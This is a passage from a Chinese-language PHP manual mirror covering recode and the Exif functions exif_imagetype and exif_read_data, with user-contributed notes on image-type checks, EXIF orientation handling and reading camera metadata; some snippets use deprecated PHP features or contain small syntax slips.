  $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
  // VO -> VUxo
  $s = preg_replace('@V([AIUEO])@e', '"VU".strtolower("\1")', $s);
  // KYA -> KYya
  $s = preg_replace('@([KSTNHMRGZBPD])Y([AUO])@e',   '"\1Iy".strtolower("\2")', $s);
  // XTU -> tu (make them actually small)
  $s = preg_replace('@X(TU|Y[AUO]|[AIUEO]|KA|KE)@e', 'strtolower("\1")', $s);
  // KKO -> tuKO
  $s = preg_replace('@([KSTHMRYWGZBPDV]{2,})@e',
                      'str_pad("",2*strlen("\1")-2,"tu").substr("\1",0,1)', $s);
  // N -> n (but not NO -> nO)
  // At this point, N' will work correctly
  $s = preg_replace('@N(?![AIUEO])@', 'n', $s);
  // Unrecognized characters off
  $s = eregi_replace('[^^VAIUEOKSTNHMYRWGZBPD]', '', $s);

  $pat = '@([AIUEOnaiueo^]|..)@e';
  $rec = 'EUCJP..UTF8';

  return
    Array('hira' => recode_string($rec,preg_replace($pat, 'pack("n", HiraTrans("\1"))', $s)),
          'kata' => recode_string($rec,preg_replace($pat, 'pack("n", KataTrans("\1"))', $s)));
}

print_r( Romaji2Kana('konnichiha') );
?>

Note: Due to technical limitations in the manual pages, there are two errors in this code:
- Some characters in the first str_replace may appear wrong in some php.net mirrors. It supposed to contain aiueo with circumflex and aiueo with macron.
- The strings in the defines should be constant, not appendage expressions. (Line length limitation)

-Joel Yliluoma
jazfresh at spam-javelin.hotmail.com 27-Oct-2003 10:55
I came across a bug (and workaround) when using recode_string. When converting from utf-8 to iso-2022-jp, it would always return an empty string (although it would work fine for conversions from html to utf8). Converting with recode on the command line worked fine, which was odd. I noticed that if I specified "-v" on the command line, recode stated that it was using libiconv to do the conversion.

Using "iconv" instead of recode got the right results.
i.e.

Works:
$str = recode_string("html..utf-8", "&#26085;&#26412;&#35486;"); // Unicode for "Japanese"

Doesn't work:
$str = recode_string("utf-8..iso-2022-jp", $mystring);

Works:
$str = iconv("utf-8", "iso-2022-jp", $mystring);

Don't ask me why. Hope this saves someone some frustrating hours debugging.


别名 recode_string

  • ? recode_string
  • 图像生成和处理 ?
  • PHP Manual
  • Recode 函数
  • 别名 recode_string

recode

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode — 别名 recode_string()

说明

此函数是该函数的别名： recode_string().

User Contributed Notes

There are no user contributed notes for this page.


图像生成和处理

  • Exif — 可交换图像信息
    • 简介
    • 安装/配置
    • 预定义常量
    • Exif 函数
  • GD — 图像处理和 GD
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • GD 和图像处理 函数
    • GdImage — GdImage 类
    • GdFont — The GdFont class
  • Gmagick
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Gmagick — The Gmagick class
    • GmagickDraw — The GmagickDraw class
    • GmagickPixel — The GmagickPixel class
  • ImageMagick — 图像处理(ImageMagick)
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Imagick — The Imagick class
    • ImagickDraw — The ImagickDraw class
    • ImagickPixel — The ImagickPixel class
    • ImagickPixelIterator — The ImagickPixelIterator class
    • ImagickKernel — The ImagickKernel class

User Contributed Notes

There are no user contributed notes for this page.


可交换图像信息

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Exif 函数
    • exif_imagetype — 判断一个图像的类型
    • exif_read_data — 从一个图片文件中读取 EXIF 头信息
    • exif_tagname — 获取指定索引的头名称
    • exif_thumbnail — 检索图像的嵌入式缩略图
    • read_exif_data — 别名 exif_read_data

User Contributed Notes

There are no user contributed notes for this page.


简介

通过使用 exif 扩展，你可以操作图像元数据。 例如：你可以使用 exif 相关的函数从数码相机拍摄的图片文件中读取元数据。 通常 JPEG 和 TIFF 格式的图像文件都包含元数据。

User Contributed Notes

There are no user contributed notes for this page.


需求

必须使用 --enable-exif 选项编译 PHP。 如果要提供对 EXIF 标签中元数据的多字节文字支持，需要通过使用 --enable-mbstring 选项编译 PHP 来启用 mbstring 扩展。 exif 不需要其他额外的 PHP 库就可以直接使用。

Windows 平台：必须启用 mbstring 扩展。 并且，在 php.ini 文件中， mbstring 必须先于 EXIF 加载。

User Contributed Notes

There are no user contributed notes for this page.


安装

使用 --enable-exif 选项 配置 PHP 来启用 exif 支持。

Windows 用户必须在 php.ini 中启用 php_mbstring.dll 和 php_exif.dll 扩展。 请确保在 php.ini 中保持正确的顺序： php_mbstring.dll 必须在 php_exif.dll 之前 加载。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

当 mbstring 模块可用时，exif 支持用户注释中的 Unicode 和 JIS 字符编码的自动转换。这是通过先用指定字符集将注释解码，把结果再用另一个符合你的 HTTP 输出的字符集编码来实现的。

Exif configuration options
名字 | 默认 | 可修改范围 | 更新日志
exif.encode_unicode | "ISO-8859-15" | PHP_INI_ALL |
exif.decode_unicode_motorola | "UCS-2BE" | PHP_INI_ALL |
exif.decode_unicode_intel | "UCS-2LE" | PHP_INI_ALL |
exif.encode_jis | "" | PHP_INI_ALL |
exif.decode_jis_motorola | "JIS" | PHP_INI_ALL |
exif.decode_jis_intel | "JIS" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

exif.encode_unicode string

exif.encode_unicode 定义了 UNICODE 用户注释被处理的字符集。默认为 ISO-8859-15，可用于大多数非亚洲国家。本设置可以为空或者必须为一个 mbstring 所支持的编码。如果为空，则使用当前 mbstring 内部使用的编码。

exif.decode_unicode_motorola string

exif.decode_unicode_motorola 定义了 Unicode 编码的用户注释的图像内部字符集，如果图像是摩托罗拉字节顺序（big-endian）的话。本设置不能为空但可以指定一个 mbstring 支持的编码列表。默认为 UCS-2BE。

exif.decode_unicode_intel string

exif.decode_unicode_intel 定义了 Unicode 编码的用户注释的图像内部字符集，如果图像是英特尔字节顺序（little-endian）的话。本设置不能为空但可以指定一个 mbstring 支持的编码列表。默认为 UCS-2LE。

exif.encode_jis string

exif.encode_jis 定义了 JIS 用户注释被处理的字符集。默认为空值，迫使函数使用当前 mbstring 使用的内部编码。

exif.decode_jis_motorola string

exif.decode_jis_motorola 定义了 JIS 编码的用户注释的图像内部字符集，如果图像是摩托罗拉字节顺序（big-endian）的话。本设置不能为空但可以指定一个 mbstring 支持的编码列表。默认为 JIS。

exif.decode_jis_intel string

exif.decode_jis_intel 定义了 JIS 编码的用户注释的图像内部字符集，如果图像是英特尔字节顺序（litle-endian）的话。本设置不能为空但可以指定一个 mbstring 支持的编码列表。默认为 JIS。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

EXIF_USE_MBSTRING (int)
如果启用了 mbstring，这个常量的值为 1， 否则为 0。

exif_imagetype() 列出几个相关的内建变量。

User Contributed Notes

There are no user contributed notes for this page.


Exif 函数

Table of Contents

  • exif_imagetype — 判断一个图像的类型
  • exif_read_data — 从一个图片文件中读取 EXIF 头信息
  • exif_tagname — 获取指定索引的头名称
  • exif_thumbnail — 检索图像的嵌入式缩略图
  • read_exif_data — 别名 exif_read_data

User Contributed Notes

There are no user contributed notes for this page.


判断一个图像的类型

  • ? Exif 函数
  • exif_read_data ?
  • PHP Manual
  • Exif 函数
  • 判断一个图像的类型

exif_imagetype

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

exif_imagetype — 判断一个图像的类型

说明

exif_imagetype(string $filename): int|false

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

参数

filename
被检查的图像文件名。

返回值

如果发现了恰当的签名则返回一个对应的常量，否则返回 false。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的，但本函数快得多。

定义有以下常量，并代表了 exif_imagetype() 可能的返回值：

图像类型常量
值 | 常量
1 | IMAGETYPE_GIF
2 | IMAGETYPE_JPEG
3 | IMAGETYPE_PNG
4 | IMAGETYPE_SWF
5 | IMAGETYPE_PSD
6 | IMAGETYPE_BMP
7 | IMAGETYPE_TIFF_II（小端字节顺序）
8 | IMAGETYPE_TIFF_MM（大端字节顺序）
9 | IMAGETYPE_JPC
10 | IMAGETYPE_JP2
11 | IMAGETYPE_JPX
12 | IMAGETYPE_JB2
13 | IMAGETYPE_SWC
14 | IMAGETYPE_IFF
15 | IMAGETYPE_WBMP
16 | IMAGETYPE_XBM
17 | IMAGETYPE_ICO
18 | IMAGETYPE_WEBP
19 | IMAGETYPE_AVIF

Note:

如果无法从文件中读取足够的字节来确定图像类型，exif_imagetype() 将发出 E_NOTICE 并返回 false。

更新日志

版本 | 说明
7.1.0 | 新增 WebP 支持。
8.1.0 | 新增 AVIF 支持。

示例

Example #1 exif_imagetype() 示例

<?php

if (exif_imagetype("image.gif") != IMAGETYPE_GIF) {
echo "The picture is not a gif";
}

?>

参见

  • image_type_to_mime_type() - 取得 getimagesize、exif_read_data、exif_thumbnail、exif_imagetype 所返回的图像类型的 MIME 类型
  • getimagesize() - 取得图像大小

User Contributed Notes

vuatintac at yahoo dot com 01-Apr-2015 05:32
to checking file is image, I used this:

function is_image($path)
{
    $a = getimagesize($path);
    $image_type = $a[2];

    if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP)))
    {
        return true;
    }
    return false;
}
christophe dot tournayre at univ*bpclermont dot Fr 18-Sep-2013 09:01
Because I only want to check for jpeg or png from a memory string, this is my 2 functions that are quick and don't have any dependencies :

<?php
  function is_jpeg(&$pict)
  {
    return (bin2hex($pict[0]) == 'ff' && bin2hex($pict[1]) == 'd8');
  }

  function is_png(&$pict)
  {
    return (bin2hex($pict[0]) == '89' && $pict[1] == 'P' && $pict[2] == 'N' && $pict[3] == 'G');
  }
?>
admin at leonard !spam challis dot com 03-Nov-2010 08:02
Windows users: If you get the fatal error "Fatal error:  Call to undefined function exif_imagetype()", and you have enabled php_exif.dll, make sure you enable php_mbstring.dll. You must put mbstring before exif in the php.ini, i.e.:

extension=php_mbstring.dll
extension=php_exif.dll

You can check whether this has worked by calling phpinfo() and searching for exif.
tom dot ghyselinck at telenet dot be 13-Jan-2008 01:36
If the function exif_imagetype() is not available,
you can try the following workaround:

if ( ! function_exists( 'exif_imagetype' ) ) {
    function exif_imagetype ( $filename ) {
        if ( ( list($width, $height, $type, $attr) = getimagesize( $filename ) ) !== false ) {
            return $type;
        }
    return false;
    }
}
Tim 19-Nov-2007 08:40
By trial and error, it seems that a file has to be 12 bytes or larger in order to avoid a "Read error!".  Here's a work-around to avoid an error being thrown:

// exif_imagetype throws "Read error!" if file is too small
if (filesize($uploadfile) > 11)
    $mimetype = exif_imagetype($uploadfile);
else
    $mimetype = false;
09-Nov-2006 04:43
Seems to give a 'Read error' warning if the size of the file is very small (2 bytes). I think this is because it needs a min 3 bytes to determine the file type
tom at tomvergote dot be 07-Feb-2004 02:11
libexif can also be used to parse image info out of id3 tags:

exif_read_data("mp3_with_2.4ID3TAGS, '', true, false);


从一个图片文件中读取 EXIF 头信息

  • ? exif_imagetype
  • exif_tagname ?
  • PHP Manual
  • Exif 函数
  • 从一个图片文件中读取 EXIF 头信息

exif_read_data

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_read_data — 从一个图片文件中读取 EXIF 头信息

说明

exif_read_data(
resource|string $file,
?string $required_sections = null,
bool $as_arrays = false,
bool $read_thumbnail = false
): array|false

exif_read_data() 函数从一个图片文件中读取 EXIF 头信息。这样就可以读取数码相机产生的元数据。

EXIF 头信息往往存在于数码相机生成的 JPEG/TIFF 图片中，但不幸的是每个数码相机制造商的标记都不同，因此（编写代码时）不能依赖于某个特定的 Exif 头信息。

Height 和 Width 是用和 getimagesize() 一样的方法计算的，因此它们的值不能是任何返回的头信息的部分。此外 html 是一个可以用于普通的 HTML 中的 height/width 的文本字符串。

当一个 Exif 头信息包含有一个 Copyright 时注意它本身可以包含两个值。解决方案和 Exif 2.10 标准不一致，COMPUTED 区段会同时返回 Copyright.Photographer 和 Copyright.Editor，但是 IFD0 区段则包含有一个字节数组用 NULL 字符分隔开两个项目。或者只有第一项如果数据类型错误的话（Exif 的正常行为）。COMPUTED 也会包含 Copyright，要么是原始的版权字符串，要么是逗号分隔的摄像与编辑的版权信息。

UserComment 标记和 Copyright 有同样的问题。它也可以存储两个值，第一个是使用的编码方式，第二个是其值本身。如果这样则 IFD 区段仅包含编码方式或者一个字节数组。COMPUTED 区段将存储两个值到 UserCommentEncoding 和 UserComment。UserComment 在两种情况下都可用因此应该优先使用它而不是 IFD0 区段中的该值。

exif_read_data() 还会根据 EXIF 规范（» http://exif.org/Exif2-2.PDF，第 20 页）来验证 EXIF 数据。

参数

file

图片文件的位置。这可以是一个文件路径（和往常一样，流封装也是支持的）， 或者是一个流式资源（stream resource）。

required_sections

是需要存在于文件中的逗号分隔的区段列表用来产生结果数组。如果未找到所请求的区段则返回值为 false。

FILE | FileName, FileSize, FileDateTime, SectionsFound
COMPUTED | html，Width，Height，IsColor，可能有更多其它的。Height 和 Width 是用和 getimagesize() 一样的方法计算的，因此它们的值不能是任何返回的头信息的部分。此外 html 是一个可以用于普通的 HTML 中的 height/width 的文本字符串。
ANY_TAG | 任何包含有标记的信息，例如 IFD0，EXIF，...
IFD0 | 所有 IFD0 的标记数据。在标准的图像文件中这包含了图像大小及其它。
THUMBNAIL | 如果有第二个 IFD，文件应该包含有缩略图。所有有关嵌入缩略图的标记信息都存储在本区。
COMMENT | JPEG 图像的注释头信息。
EXIF | EXIF 区段是 IFD0 的子区，包含有图像的更多详细信息。大多数内容都是数码相机相关的。

as_arrays

指定了是否每个区段都成为一个数组。required_sections COMPUTED，THUMBNAIL 和COMMENT 区段总是成为数组，因为它们里面包含的名字和其它区段冲突。

read_thumbnail

当设定为 true 时，读取缩略图本身。否则只读取标记数据。

返回值

返回一个关联数组，键名是头信息名，值为与其相应的值。如果没有可供返回的数据，exif_read_data() 将返回 false。

错误／异常

当遇到不支持的标签，或其他潜在的错误情况时，将抛出E_WARNING 与E_NOTICE等级的错误，但这个函数依然会尝试去读取所有可理解的信息。

更新日志

版本 | 说明
8.0.0 | required_sections 现在可以为空。
7.2.0 | file 参数现在起支持本地文件和流式资源。
7.2.0 新增了以下 EXIF 格式的支持：
  • Samsung
  • DJI
  • Panasonic
  • Sony
  • Pentax
  • Minolta
  • Sigma/Foveon
  • AGFA
  • Kyocera
  • Ricoh
  • Epson

示例

Example #1 exif_read_data() 例子

<?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {
foreach ($section as $name => $val) {
echo "$key.$name: $val<br />\n";
}
}
?>

第一个调用失败了，因为图像没有头信息。

以上示例的输出类似于：

test1.jpg:
No header data found.
test2.jpg:
FILE.FileName: test2.jpg
FILE.FileDateTime: 1017666176
FILE.FileSize: 1240
FILE.FileType: 2
FILE.SectionsFound: ANY_TAG, IFD0, THUMBNAIL, COMMENT
COMPUTED.html: width="1" height="1"
COMPUTED.Height: 1
COMPUTED.Width: 1
COMPUTED.IsColor: 1
COMPUTED.ByteOrderMotorola: 1
COMPUTED.UserComment: Exif test image.
COMPUTED.UserCommentEncoding: ASCII
COMPUTED.Copyright: Photo (c) M.Boerger, Edited by M.Boerger.
COMPUTED.Copyright.Photographer: Photo (c) M.Boerger
COMPUTED.Copyright.Editor: Edited by M.Boerger.
IFD0.Copyright: Photo (c) M.Boerger
IFD0.UserComment: ASCII
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.JPEGInterchangeFormatLength: 523
COMMENT.0: Comment #1.
COMMENT.1: Comment #2.
COMMENT.2: Comment #3end
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.Thumbnail.Height: 1
THUMBNAIL.Thumbnail.Height: 1

Example #2 exif_read_data() with streams available as of PHP 7.2.0

<?php
// Open a the file, this should be in binary mode
$fp = fopen('/path/to/image.jpg', 'rb');

if (!$fp) {
echo 'Error: Unable to open image for reading';
exit;
}

// Attempt to read the exif headers
$headers = exif_read_data($fp);

if (!$headers) {
echo 'Error: Unable to read exif headers';
exit;
}

// Print the 'COMPUTED' headers
echo 'EXIF Headers:' . PHP_EOL;

foreach ($headers['COMPUTED'] as $header => $value) {
printf(' %s => %s%s', $header, $value, PHP_EOL);
}
?>

以上示例的输出类似于：

EXIF Headers:
 Height => 576
 Width => 1024
 IsColor => 1
 ByteOrderMotorola => 0
 ApertureFNumber => f/5.6
 UserComment =>
 UserCommentEncoding => UNDEFINED
 Copyright => Denis
 Thumbnail.FileType => 2
 Thumbnail.MimeType => image/jpeg

注释

Note:

If mbstring is enabled, exif will attempt to process the unicode and pick a charset as specified by exif.decode_unicode_motorola and exif.decode_unicode_intel. The exif extension will not attempt to figure out the encoding on its own, and it is up to the user to properly specify the encoding for which to use for decoding by setting one of these two ini directives prior to calling exif_read_data().

Note:

If the file is used to pass a stream to this function, then the stream must be seekable. Note that the file pointer position is not changed after this function returns.

参见

  • exif_thumbnail() - 检索图像的嵌入式缩略图
  • getimagesize() - 取得图像大小

User Contributed Notes

Tim 05-Oct-2019 08:44
The following code:
<?php
$data = exif_read_data('foo.jpg');
var_dump($data['Keywords']);
?>
produces string(15) "???????????????"

Adding
<?php
ini_set('exif.decode_unicode_motorola', 'UCS-2LE');
?>
before the call to exif_red_data produces
string(15) "landscape;;field"
omerg at lucidcode dot com dot tr 09-Feb-2019 12:12
The example provided for displaying exif array content is not working in recent version because not all entry values are of array type.

This is an alternative echo loop:

 <?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {

    if (!is_array ($section)) {
        echo "$key: $section<br />\n";
    } else {
        foreach ($section as $name => $val) {
            echo "$key.$name: $val<br />\n";
        }
    }

}
?>
TNTcode 09-Oct-2017 12:34
<?php

// auto rotates an image file based on exif data from camera
// if destination file is specified then it saves file there, otherwise it will display it to user
// note that images already at normal orientation are skipped (when exif data Orientation = 1)

if(!function_exists("gd_auto_rotate")){
    function gd_auto_rotate($original_file, $destination_file=NULL){

        $original_extension = strtolower(pathinfo($original_file, PATHINFO_EXTENSION));
        if(isset($destination_file) and $destination_file!=''){
            $destination_extension = strtolower(pathinfo($destination_file, PATHINFO_EXTENSION));
        }

        // try to auto-rotate image by gd if needed (before editing it)
        // by imagemagik it has an easy option
        if(function_exists("exif_read_data")){

            $exif_data = exif_read_data($original_file);
            $exif_orientation = $exif_data['Orientation'];

            // value 1 = normal ?! skip it ?!

            if($exif_orientation=='3'  or $exif_orientation=='6' or $exif_orientation=='8'){

                $new_angle[3] = 180;
                $new_angle[6] = -90;
                $new_angle[8] = 90;

                // load the image
                if($original_extension == "jpg" or $original_extension == "jpeg"){
                    $original_image = imagecreatefromjpeg($original_file);
                }
                if($original_extension == "gif"){
                    $original_image = imagecreatefromgif($original_file);
                }
                if($original_extension == "png"){
                    $original_image = imagecreatefrompng($original_file);
                }

                $rotated_image = imagerotate($original_image, $new_angle[$exif_orientation], 0);

                // if no destination file is set, then show the image
                if(!$destination_file){
                    header('Content-type: image/jpeg');
                    imagejpeg($rotated_image, NULL, 100);
                }

                // save the smaller image FILE if destination file given
                if($destination_extension == "jpg" or $destination_extension=="jpeg"){
                    imagejpeg($rotated_image, $destination_file,100);
                }
                if($destination_extension == "gif"){
                    imagegif($rotated_image, $destination_file);
                }
                if($destination_extension == "png"){
                    imagepng($rotated_image, $destination_file,9);
                }

                imagedestroy($original_image);
                imagedestroy($rotated_image);

            }
        }
    }
}

?>
b at asdflolinternet dot de 18-Oct-2015 12:42
Problem with "S?o?m?e? ?T?e?x?t??" on value(s), exif[IFD0][Title] for example, when they were edited trough windows right click properties and then got read with the read_exif_data() function.
try:

$exif_['IFD0']['Title']=mb_convert_encoding($exif_['IFD0']['Title'],"auto","byte2le");

works on UTF-8 and so.

//
// outputs all available character encodings and prints on screen
// foreach(mb_list_encodings() as $chr)
//  {$test[$chr]=mb_convert_encoding($image[IFD0][Title],'auto',$chr);}
//  exit(print_r($test));
//
Eion Robb 26-May-2015 08:56
I was needing to use exif_read_data() to read out the orientation flag, only to find that the webhost didn't have the exif extension available for use.  Instead, I hacked up a regex that worked fairly well as a replacement

<?php
$orientation = 1;
if (function_exists('exif_read_data')) {
    $exif = exif_read_data($filename);
    if (isset($exif['Orientation']))
        $orientation = $exif['Orientation'];
} else if (preg_match('@\x12\x01\x03\x00\x01\x00\x00\x00(.)\x00\x00\x00@', file_get_contents($filename), $matches)) {
    $orientation = ord($matches[1]);
}
?>
iam at thatguy dot co dot za 20-Dec-2013 08:15
I posted the original version of the function, but after using it for a while I discovered I didn't do enough error checking.

I have re-factored it somewhat, and it now returns an empty array should it not be able to read the image's exif. If it is able to, it will return the details it was able to retrieve. And this should be without error.

I am suppressing errors, because if you pass it images which cannot parse, you will get a warning.

<?php

# Modified Version of cameraUsed, no longer returns date.
public function cameraUsed($imagePath)
{
    # The default empty return
    $return = array(
        'make'      => "",
        'model'     => "",
        'exposure'  => "",
        'aperture'  => "",
        'iso'       => ""
    );

    // Check if the variable is set and if the file itself exists before continuing
    if ((isset($imagePath)) AND (file_exists($imagePath)))
    {
        // There are 2 arrays which contains the information we are after, so it's easier to state them both
        $exif_ifd0 = @read_exif_data($imagePath ,'IFD0' ,0);
        $exif_exif = @read_exif_data($imagePath ,'EXIF' ,0);

        # Ensure that we actually got some information
        if (($exif_ifd0 !== false) AND ($exif_exif !== false))
        {
            // Make
            if (@array_key_exists('Make', $exif_ifd0))
            {
                $return['make']     = $exif_ifd0['Make'];
            }

            // Model
            if (@array_key_exists('Model', $exif_ifd0))
            {
                $return['model']    = $exif_ifd0['Model'];
            }

            // Exposure
            if (@array_key_exists('ExposureTime', $exif_ifd0))
            {
                $return['exposure'] = $exif_ifd0['ExposureTime'];
            }

            // Aperture
            if (@array_key_exists('ApertureFNumber', $exif_ifd0['COMPUTED']))
            {
                $return['aperture'] = $exif_ifd0['COMPUTED']['ApertureFNumber'];
            }

            // ISO
            if (@array_key_exists('ISOSpeedRatings',$exif_exif))
            {
                $return['iso']     = $exif_exif['ISOSpeedRatings'];
            }
        }
    }

    # Return either an empty array, or the details which we were able to extrapolate.
    return $return;
}

?>
Clive dot Moore at ma-design dot com 06-Dec-2013 09:19
Following up on darkain at darkain dot com  script for grabbing the ShutterSpeedValue from exif data...
@http://php.net/manual/en/function.exif-read-data.php

I have found that the option shown for ShutterSppedValue, can also be ExposureTime in the exif data.

Also the code as written provides a WRONG return, as the return is always 1 so you get 1/1sec.

Here is corrected code, or a version that corrects what is obviously not working after 5 years since it was originally developed::

Here is the updated version for:: $exif[ExposureTime]

    function exif_get_float($value) {
        $pos = strpos($value, '/');
        if ($pos === false) return (float) $value;
        $a = (float) substr($value, 0, $pos);
        $b = (float) substr($value, $pos+1);
    return ($b == 0) ? ($a) : ($a / $b);
    };

    function exif_get_exposureTime(&$exif) {
        if (!isset($exif['ExposureTime'])) return false;
        $apex    = exif_get_float($exif['ExposureTime']);
        $shutter = 1/$apex;
        // above 1 sec exposure time::
        if ($shutter <= 1) return round($apex) . ' seconds';

    return '1/' . round(1 / $apex) . 'sec';
    };
hoangvu4000 at gmail dot com 26-May-2013 05:47
This is function, resize image and don't rotates images have exif info

PHP must be enabled:
extension=php_mbstring.dll
extension=php_exif.dll

<?php
function CreateThumbnail($pic,$thumb,$thumbwidth, $quality = 100)
{

        $im1=ImageCreateFromJPEG($pic);

        //if(function_exists("exif_read_data")){
                $exif = exif_read_data($pic);
                if(!empty($exif['Orientation'])) {
                switch($exif['Orientation']) {
                case 8:
                    $im1 = imagerotate($im1,90,0);
                    break;
                case 3:
                    $im1 = imagerotate($im1,180,0);
                    break;
                case 6:
                    $im1 = imagerotate($im1,-90,0);
                    break;
                }
                }
        //}
        $info = @getimagesize($pic);

        $width = $info[0];

        $w2=ImageSx($im1);
        $h2=ImageSy($im1);
        $w1 = ($thumbwidth <= $info[0]) ? $thumbwidth : $info[0]  ;

        $h1=floor($h2*($w1/$w2));
        $im2=imagecreatetruecolor($w1,$h1);

        imagecopyresampled ($im2,$im1,0,0,0,0,$w1,$h1,$w2,$h2);
        $path=addslashes($thumb);
        ImageJPEG($im2,$path,$quality);
        ImageDestroy($im1);
        ImageDestroy($im2);
}
?>
kurt at mandella dot biz 25-Apr-2013 06:34
Photos processed in Picasa often contain garbage data in the "MAKERNOTE" section and under EXIF.MakerNote, (UTF8) like:

[MakerNote] => r0~T?"?2O?y     e §...b!    )    ) EI "Dó
#s &0{ '? (? -D`??@???ìE è�Y??  ??????x "ú?Dó? H ?.}BúIMG:DIGITAL IXUS 100 IS JPEGFirmware Version 1.00s?x?????-l￥???  ?ììx? ??ìì???????(? (?T?U'?d-~?"￥???    à??a?jáàpgaXfaWb[Te?
8ú5:áe-3???5?? ?;?ê ? �à�`         ? dd????????????
???1—?à?é?×?gai?

This can't be written to Blob in MySql. The following code removes the garbage tags.

$exif = exif_read_data($process_photo, 0, 'EXIF');

if($exif['IFD0']['Software'] == "Picasa"){

foreach ($exif as $key => $section){

 if($key != "MAKERNOTE"){
  foreach ($section as $name => $val){
   if($name != 'MakerNote'){
    $exifA[$key][$name] = $val;
   }
  }
  $exifB[$key] = $exifA[$key];
 }
}
$serialized_exif = serialize ($exifB);
}else{
$serialized_exif = serialize ($exif);
}
chadsmith729 at gmail dot com 20-Dec-2012 01:34
When the new update came out from Apple for iOS6 it provided the ability for iPad, iPod, and iPhones to be able to upload files from the device through Safari. Obviously this will open up an array of implementations where at one point it was just not possible.

The issue comes when a photo is uploaded it will be dependent on the location of the "button" when the photo was taken. Imagine if you will that you have your iPhone turned with the button at the top and you take a photo. The photo when uploaded to your server might be "upside down".

The following code will ensure that all uploaded photos will be oriented correctly upon upload:
<?php
$image = imagecreatefromstring(file_get_contents($_FILES['image_upload']['tmp_name']));
$exif = exif_read_data($_FILES['image_upload']['tmp_name']);
if(!empty($exif['Orientation'])) {
    switch($exif['Orientation']) {
        case 8:
            $image = imagerotate($image,90,0);
            break;
        case 3:
            $image = imagerotate($image,180,0);
            break;
        case 6:
            $image = imagerotate($image,-90,0);
            break;
    }
}
// $image now contains a resource with the image oriented correctly
?>

What you do with the image resource from there is entirely up to you.

I hope that this helps you identify and orient any image that's uploaded from an iPad, iPhone, or iPod. Orientation for the photo is the key to knowing how to rotate it correctly.
drpain at webster dot org dot za 13-Mar-2012 11:40
Please note that when resizing images with GD and most image processing scripts or applications you will loose the EXIF information. What I did as a workaround is book this information into MySQL before I re-size images.

<?php

// This function is used to determine the camera details for a specific image. It returns an array with the parameters.
function cameraUsed($imagePath) {

    // Check if the variable is set and if the file itself exists before continuing
    if ((isset($imagePath)) and (file_exists($imagePath))) {

      // There are 2 arrays which contains the information we are after, so it's easier to state them both
      $exif_ifd0 = read_exif_data($imagePath ,'IFD0' ,0);
      $exif_exif = read_exif_data($imagePath ,'EXIF' ,0);

      //error control
      $notFound = "Unavailable";

      // Make
      if (@array_key_exists('Make', $exif_ifd0)) {
        $camMake = $exif_ifd0['Make'];
      } else { $camMake = $notFound; }

      // Model
      if (@array_key_exists('Model', $exif_ifd0)) {
        $camModel = $exif_ifd0['Model'];
      } else { $camModel = $notFound; }

      // Exposure
      if (@array_key_exists('ExposureTime', $exif_ifd0)) {
        $camExposure = $exif_ifd0['ExposureTime'];
      } else { $camExposure = $notFound; }

      // Aperture
      if (@array_key_exists('ApertureFNumber', $exif_ifd0['COMPUTED'])) {
        $camAperture = $exif_ifd0['COMPUTED']['ApertureFNumber'];
      } else { $camAperture = $notFound; }

      // Date
      if (@array_key_exists('DateTime', $exif_ifd0)) {
        $camDate = $exif_ifd0['DateTime'];
      } else { $camDate = $notFound; }

      // ISO
      if (@array_key_exists('ISOSpeedRatings',$exif_exif)) {
        $camIso = $exif_exif['ISOSpeedRatings'];
      } else { $camIso = $notFound; }

      $return = array();
      $return['make'] = $camMake;
      $return['model'] = $camModel;
      $return['exposure'] = $camExposure;
      $return['aperture'] = $camAperture;
      $return['date'] = $camDate;
      $return['iso'] = $camIso;
      return $return;

    } else {
      return false;
    }
}

?>

An example of it's use follows:

<?php

$camera = cameraUsed("/img/myphoto.jpg");
echo "Camera Used: " . $camera['make'] . " " . $camera['model'] . "<br />";
echo "Exposure Time: " . $camera['exposure'] . "<br />";
echo "Aperture: " . $camera['aperture'] . "<br />";
echo "ISO: " . $camera['iso'] . "<br />";
echo "Date Taken: " . $camera['date'] . "<br />";

?>

Will display the following, depending on the data:

Camera Used: SONY DSC-S930
Exposure Time: 1/400
Aperture: f/4.3
ISO: 100
Date Taken: 2010:12:10 18:18:45

If the image has been re-sized and the information is no longer available then you should receive the following when echoing the same:

Camera Used: Unavailable
Exposure Time: Unavailable
Aperture: Unavailable
ISO: Unavailable
Date Taken: Unavailable

Some cameras do not capture all the information, for instance Blackberry phones do not record an aperture, or iso and you will get Unavailable for those fields.

I hope you find this helpful.
michael [at[ thisiswilson [dot[ com 20-Nov-2008 09:01
From - darkain at darkain dot com 's example.

If all the data is from the same image - simply

<?php
        $exif_data = exif_read_data ( $_FILES['photo']

        $emake =$exif_data['Make'];
        $emodel = $exif_data['Model'];
